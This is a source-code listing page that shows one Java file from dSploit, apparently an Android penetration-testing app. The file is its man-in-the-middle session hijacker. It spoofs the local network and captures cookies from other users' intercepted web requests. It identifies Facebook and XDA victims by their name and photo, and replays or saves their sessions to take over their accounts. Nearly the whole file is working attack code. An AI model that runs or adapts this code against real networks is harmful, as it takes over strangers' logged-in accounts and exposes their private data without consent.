it.evilsocket.dsploit.plugins.mitm.hijacker.Hijacker.java Source code

Java tutorial

Introduction

Here is the source code for it.evilsocket.dsploit.plugins.mitm.hijacker.Hijacker.java

Source

/*
 * This file is part of the dSploit.
 *
 * Copyleft of Simone Margaritelli aka evilsocket <evilsocket@gmail.com>
 *
 * dSploit is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * dSploit is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with dSploit.  If not, see <http://www.gnu.org/licenses/>.
 */
package it.evilsocket.dsploit.plugins.mitm.hijacker;

import android.content.Context;
import android.content.Intent;
import android.content.SharedPreferences;
import android.graphics.Bitmap;
import android.graphics.BitmapFactory;
import android.graphics.Canvas;
import android.os.AsyncTask;
import android.os.Bundle;
import android.view.LayoutInflater;
import android.view.View;
import android.view.View.OnClickListener;
import android.view.ViewGroup;
import android.widget.AdapterView;
import android.widget.AdapterView.OnItemClickListener;
import android.widget.AdapterView.OnItemLongClickListener;
import android.widget.ArrayAdapter;
import android.widget.ImageView;
import android.widget.ListView;
import android.widget.ProgressBar;
import android.widget.TextView;
import android.widget.Toast;
import android.widget.ToggleButton;

import com.actionbarsherlock.app.SherlockActivity;
import com.actionbarsherlock.view.Menu;
import com.actionbarsherlock.view.MenuInflater;
import com.actionbarsherlock.view.MenuItem;

import org.apache.http.impl.cookie.BasicClientCookie;
import org.json.JSONObject;

import java.io.BufferedInputStream;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.net.URL;
import java.net.URLConnection;
import java.util.ArrayList;
import java.util.HashMap;

import it.evilsocket.dsploit.R;
import it.evilsocket.dsploit.core.System;
import it.evilsocket.dsploit.gui.dialogs.ConfirmDialog;
import it.evilsocket.dsploit.gui.dialogs.ConfirmDialog.ConfirmDialogListener;
import it.evilsocket.dsploit.gui.dialogs.ErrorDialog;
import it.evilsocket.dsploit.gui.dialogs.InputDialog;
import it.evilsocket.dsploit.gui.dialogs.InputDialog.InputDialogListener;
import it.evilsocket.dsploit.gui.dialogs.SpinnerDialog;
import it.evilsocket.dsploit.gui.dialogs.SpinnerDialog.SpinnerDialogListener;
import it.evilsocket.dsploit.net.http.RequestParser;
import it.evilsocket.dsploit.net.http.proxy.Proxy.OnRequestListener;
import it.evilsocket.dsploit.plugins.mitm.SpoofSession;
import it.evilsocket.dsploit.plugins.mitm.SpoofSession.OnSessionReadyListener;

public class Hijacker extends SherlockActivity {
    private ToggleButton mHijackToggleButton = null;
    private ProgressBar mHijackProgress = null;
    private SessionListAdapter mAdapter = null;
    private boolean mRunning = false;
    private RequestListener mRequestListener = null;
    private SpoofSession mSpoof = null;

    private static int getFaviconFromDomain(String domain) {
        if (domain.contains("amazon."))
            return R.drawable.favicon_amazon;

        else if (domain.contains("google."))
            return R.drawable.favicon_google;

        else if (domain.contains("youtube."))
            return R.drawable.favicon_youtube;

        else if (domain.contains("blogger."))
            return R.drawable.favicon_blogger;

        else if (domain.contains("tumblr."))
            return R.drawable.favicon_tumblr;

        else if (domain.contains("facebook."))
            return R.drawable.favicon_facebook;

        else if (domain.contains("twitter."))
            return R.drawable.favicon_twitter;

        else if (domain.contains("xda-developers."))
            return R.drawable.favicon_xda;

        else
            return R.drawable.favicon_generic;
    }

    public class SessionListAdapter extends ArrayAdapter<Session> {
        private int mLayoutId = 0;
        private HashMap<String, Session> mSessions = null;

        public class FacebookUserTask extends AsyncTask<Session, Void, Boolean> {
            private Bitmap getUserImage(String uri) {
                Bitmap image = null;
                try {
                    URL url = new URL(uri);
                    URLConnection conn = url.openConnection();
                    conn.connect();

                    InputStream input = conn.getInputStream();
                    BufferedInputStream reader = new BufferedInputStream(input);

                    image = Bitmap.createScaledBitmap(BitmapFactory.decodeStream(reader), 48, 48, false);

                    reader.close();
                    input.close();
                } catch (IOException e) {
                    System.errorLogging(e);
                }

                return image;
            }

            private String getUserName(String uri) {
                String username = null;

                try {
                    URL url = new URL(uri);
                    URLConnection conn = url.openConnection();
                    conn.connect();

                    InputStream input = conn.getInputStream();
                    BufferedReader reader = new BufferedReader(new InputStreamReader(input));
                    String line, data = "";

                    while ((line = reader.readLine()) != null)
                        data += line;

                    reader.close();
                    input.close();

                    JSONObject response = new JSONObject(data);

                    username = response.getString("name");
                } catch (Exception e) {
                    System.errorLogging(e);
                }

                return username;
            }

            @Override
            protected Boolean doInBackground(Session... sessions) {
                Session session = sessions[0];
                BasicClientCookie user = session.mCookies.get("c_user");

                if (user != null) {
                    String fbUserId = user.getValue(), fbGraphUrl = "https://graph.facebook.com/" + fbUserId + "/",
                            fbPictureUrl = fbGraphUrl + "picture";

                    session.mUserName = getUserName(fbGraphUrl);
                    session.mPicture = getUserImage(fbPictureUrl);
                }

                return true;
            }

            @Override
            protected void onPostExecute(Boolean result) {
                mAdapter.notifyDataSetChanged();
            }
        }

        public class XdaUserTask extends AsyncTask<Session, Void, Boolean> {
            private Bitmap getUserImage(String uri) {
                Bitmap image = null;
                try {
                    URL url = new URL(uri);
                    URLConnection conn = url.openConnection();
                    conn.connect();

                    InputStream input = conn.getInputStream();
                    BufferedInputStream reader = new BufferedInputStream(input);

                    image = Bitmap.createScaledBitmap(BitmapFactory.decodeStream(reader), 48, 48, false);

                    reader.close();
                    input.close();
                } catch (IOException e) {
                    System.errorLogging(e);
                }

                return image;
            }

            @Override
            protected Boolean doInBackground(Session... sessions) {
                Session session = sessions[0];
                BasicClientCookie userid = session.mCookies.get("bbuserid"),
                        username = session.mCookies.get("xda_wikiUserName");

                if (userid != null)
                    session.mPicture = getUserImage(
                            "http://media.xda-developers.com/customavatars/avatar" + userid.getValue() + "_1.gif");

                if (username != null)
                    session.mUserName = username.getValue().toLowerCase();

                return true;
            }

            @Override
            protected void onPostExecute(Boolean result) {
                mAdapter.notifyDataSetChanged();
            }
        }

        public class SessionHolder {
            ImageView favicon;
            TextView address;
            TextView domain;
        }

        public SessionListAdapter(int layoutId) {
            super(Hijacker.this, layoutId);

            mLayoutId = layoutId;
            mSessions = new HashMap<String, Session>();
        }

        public Session getSession(String address, String domain, boolean https) {
            return mSessions.get(address + ":" + domain + ":" + https);
        }

        public synchronized void addSession(Session session) {
            mSessions.put(session.mAddress + ":" + session.mDomain + ":" + session.mHTTPS, session);
        }

        public synchronized Session getByPosition(int position) {
            return mSessions.get(mSessions.keySet().toArray()[position]);
        }

        @Override
        public int getCount() {
            return mSessions.size();
        }

        public Bitmap addLogo(Bitmap mainImage, Bitmap logoImage) {
            Bitmap finalImage;
            int width, height;

            width = mainImage.getWidth();
            height = mainImage.getHeight();

            finalImage = Bitmap.createBitmap(width, height, mainImage.getConfig());

            Canvas canvas = new Canvas(finalImage);

            canvas.drawBitmap(mainImage, 0, 0, null);
            canvas.drawBitmap(logoImage, canvas.getWidth() - logoImage.getWidth(),
                    canvas.getHeight() - logoImage.getHeight(), null);

            return finalImage;
        }

        @Override
        public View getView(int position, View convertView, ViewGroup parent) {
            View row = convertView;
            SessionHolder holder;
            Session session = getByPosition(position);

            if (row == null) {
                LayoutInflater inflater = (LayoutInflater) Hijacker.this
                        .getSystemService(Context.LAYOUT_INFLATER_SERVICE);
                row = inflater.inflate(mLayoutId, parent, false);

                holder = new SessionHolder();

                holder.favicon = (ImageView) (row != null ? row.findViewById(R.id.sessionIcon) : null);
                holder.address = (TextView) (row != null ? row.findViewById(R.id.sessionTitle) : null);
                holder.domain = (TextView) (row != null ? row.findViewById(R.id.sessionDescription) : null);

                if (row != null)
                    row.setTag(holder);

            } else
                holder = (SessionHolder) row.getTag();

            if (!session.mInited) {
                session.mInited = true;

                if (session.mDomain.contains("facebook.") && session.mCookies.get("c_user") != null)
                    new FacebookUserTask().execute(session);

                else if (session.mDomain.contains("xda-developers.") && session.mCookies.get("bbuserid") != null)
                    new XdaUserTask().execute(session);
            }

            Bitmap picture;

            if (session.mPicture != null)
                picture = session.mPicture;
            else
                picture = BitmapFactory.decodeResource(getResources(), getFaviconFromDomain(session.mDomain));

            if (session.mHTTPS)
                picture = addLogo(picture, BitmapFactory.decodeResource(getResources(), R.drawable.https_session));

            if (holder.favicon != null)
                holder.favicon.setImageBitmap(picture);

            if (session.mUserName != null) {
                if (holder.address != null)
                    holder.address.setText(session.mUserName);
            } else if (holder.address != null)
                holder.address.setText(session.mAddress);

            if (holder.domain != null)
                holder.domain.setText(session.mDomain);

            return row;
        }
    }

    class RequestListener implements OnRequestListener {
        @Override
        public void onRequest(boolean https, String address, String hostname, ArrayList<String> headers) {
            ArrayList<BasicClientCookie> cookies = RequestParser.getCookiesFromHeaders(headers);

            // got any cookie ?
            if (cookies != null && cookies.size() > 0) {
                String domain = cookies.get(0).getDomain();

                if (domain == null || domain.isEmpty()) {
                    domain = RequestParser.getBaseDomain(hostname);

                    for (BasicClientCookie cooky : cookies)
                        cooky.setDomain(domain);
                }

                Session session = mAdapter.getSession(address, domain, https);

                // new session ^^
                if (session == null) {
                    session = new Session();
                    session.mHTTPS = https;
                    session.mAddress = address;
                    session.mDomain = domain;
                    session.mUserAgent = RequestParser.getHeaderValue("User-Agent", headers);
                }

                // update/initialize session cookies
                for (BasicClientCookie cookie : cookies) {
                    session.mCookies.put(cookie.getName(), cookie);
                }

                final Session fsession = session;
                Hijacker.this.runOnUiThread(new Runnable() {
                    @Override
                    public void run() {
                        mAdapter.addSession(fsession);
                        mAdapter.notifyDataSetChanged();
                    }
                });
            }
        }
    }

    public void onCreate(Bundle savedInstanceState) {
        SharedPreferences themePrefs = getSharedPreferences("THEME", 0);
        Boolean isDark = themePrefs.getBoolean("isDark", false);
        if (isDark)
            setTheme(R.style.Sherlock___Theme);
        else
            setTheme(R.style.AppTheme);
        super.onCreate(savedInstanceState);
        setTitle(System.getCurrentTarget() + " > MITM > " + getString(R.string.session_sniffer));
        setContentView(R.layout.plugin_mitm_hijacker);
        getSupportActionBar().setDisplayHomeAsUpEnabled(true);

        mHijackToggleButton = (ToggleButton) findViewById(R.id.hijackToggleButton);
        mHijackProgress = (ProgressBar) findViewById(R.id.hijackActivity);
        ListView mListView = (ListView) findViewById(R.id.listView);
        mAdapter = new SessionListAdapter(R.layout.plugin_mitm_hijacker_list_item);
        mSpoof = new SpoofSession();

        mListView.setAdapter(mAdapter);
        mListView.setOnItemClickListener(new OnItemClickListener() {
            @Override
            public void onItemClick(AdapterView<?> parent, View view, int position, long id) {
                final Session session = mAdapter.getByPosition(position);
                if (session != null) {
                    new ConfirmDialog(getString(R.string.hijack_session),
                            mRunning ? getString(R.string.start_hijacking) : getString(R.string.start_hijacking2),
                            Hijacker.this, new ConfirmDialogListener() {
                                @Override
                                public void onConfirm() {
                                    if (mRunning)
                                        setStoppedState();

                                    System.setCustomData(session);

                                    startActivity(new Intent(Hijacker.this, HijackerWebView.class));
                                }

                                @Override
                                public void onCancel() {
                                }
                            }).show();
                }
            }
        });

        mListView.setOnItemLongClickListener(new OnItemLongClickListener() {
            @Override
            public boolean onItemLongClick(AdapterView<?> parent, View view, int position, long id) {
                final Session session = mAdapter.getByPosition(position);
                if (session != null) {
                    new InputDialog(getString(R.string.save_session), getString(R.string.set_session_filename),
                            session.getFileName(), true, false, Hijacker.this, new InputDialogListener() {
                                @Override
                                public void onInputEntered(String name) {
                                    if (!name.isEmpty()) {

                                        try {
                                            String filename = session.save(name);

                                            Toast.makeText(Hijacker.this,
                                                    getString(R.string.session_saved_to) + filename + " .",
                                                    Toast.LENGTH_SHORT).show();
                                        } catch (IOException e) {
                                            new ErrorDialog(getString(R.string.error), e.toString(), Hijacker.this)
                                                    .show();
                                        }
                                    } else
                                        new ErrorDialog(getString(R.string.error),
                                                getString(R.string.invalid_session), Hijacker.this).show();
                                }
                            }).show();
                }

                return true;
            }
        });

        mHijackToggleButton.setOnClickListener(new OnClickListener() {
            @Override
            public void onClick(View v) {
                if (mRunning) {
                    setStoppedState();
                } else {
                    setStartedState();
                }
            }
        });

        mRequestListener = new RequestListener();
    }

    @Override
    public boolean onCreateOptionsMenu(Menu menu) {
        MenuInflater inflater = getSupportMenuInflater();
        inflater.inflate(R.menu.hijacker, menu);
        return super.onCreateOptionsMenu(menu);
    }

    private void setStartedState() {

        if (System.getProxy() != null)
            System.getProxy().setOnRequestListener(mRequestListener);

        mSpoof.start(new OnSessionReadyListener() {
            @Override
            public void onSessionReady() {
                Hijacker.this.runOnUiThread(new Runnable() {
                    @Override
                    public void run() {
                        mHijackToggleButton.setText("Stop");
                        mHijackProgress.setVisibility(View.VISIBLE);
                        mRunning = true;
                    }
                });
            }

            @Override
            public void onError(String error, int resId) {
                error = error == null ? getString(resId) : error;
                setSpoofErrorState(error);
            }
        });
    }

    private void setSpoofErrorState(final String error) {
        Hijacker.this.runOnUiThread(new Runnable() {
            @Override
            public void run() {
                if (!Hijacker.this.isFinishing()) {
                    new ErrorDialog(getString(R.string.error), error, Hijacker.this).show();
                    setStoppedState();
                }
            }
        });
    }

    private void setStoppedState() {
        mSpoof.stop();

        if (System.getProxy() != null)
            System.getProxy().setOnRequestListener(null);

        mHijackProgress.setVisibility(View.INVISIBLE);

        mRunning = false;
        mHijackToggleButton.setChecked(false);
    }

    @Override
    public boolean onOptionsItemSelected(MenuItem item) {
        int itemId = item.getItemId();

        switch (itemId) {
        case android.R.id.home:

            onBackPressed();

            return true;

        case R.id.load:

            final ArrayList<String> sessions = System.getAvailableHijackerSessionFiles();

            if (sessions != null && sessions.size() > 0) {
                new SpinnerDialog(getString(R.string.select_session), getString(R.string.select_session_file),
                        sessions.toArray(new String[sessions.size()]), Hijacker.this, new SpinnerDialogListener() {
                            @Override
                            public void onItemSelected(int index) {
                                String filename = sessions.get(index);

                                try {
                                    Session session = Session.load(filename);

                                    if (session != null) {
                                        mAdapter.addSession(session);
                                        mAdapter.notifyDataSetChanged();
                                    }
                                } catch (Exception e) {
                                    e.printStackTrace();
                                    new ErrorDialog("Error", e.getMessage(), Hijacker.this).show();
                                }
                            }
                        }).show();
            } else
                new ErrorDialog(getString(R.string.error), getString(R.string.no_session_found), Hijacker.this)
                        .show();

            return true;

        default:
            return super.onOptionsItemSelected(item);
        }
    }

    @Override
    public void onBackPressed() {
        setStoppedState();
        super.onBackPressed();
        overridePendingTransition(R.anim.slide_in_left, R.anim.slide_out_left);
    }
}